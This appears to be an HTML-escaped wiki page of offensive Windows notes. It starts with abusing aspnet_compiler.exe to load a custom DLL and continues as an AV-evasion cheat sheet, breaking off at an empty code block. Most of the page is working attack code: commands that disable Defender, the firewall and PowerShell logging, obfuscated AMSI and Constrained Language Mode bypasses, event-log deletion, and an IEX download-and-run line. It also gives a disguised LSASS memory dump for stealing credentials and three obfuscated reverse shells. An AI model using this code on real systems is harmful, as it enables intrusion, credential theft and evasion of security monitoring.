This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
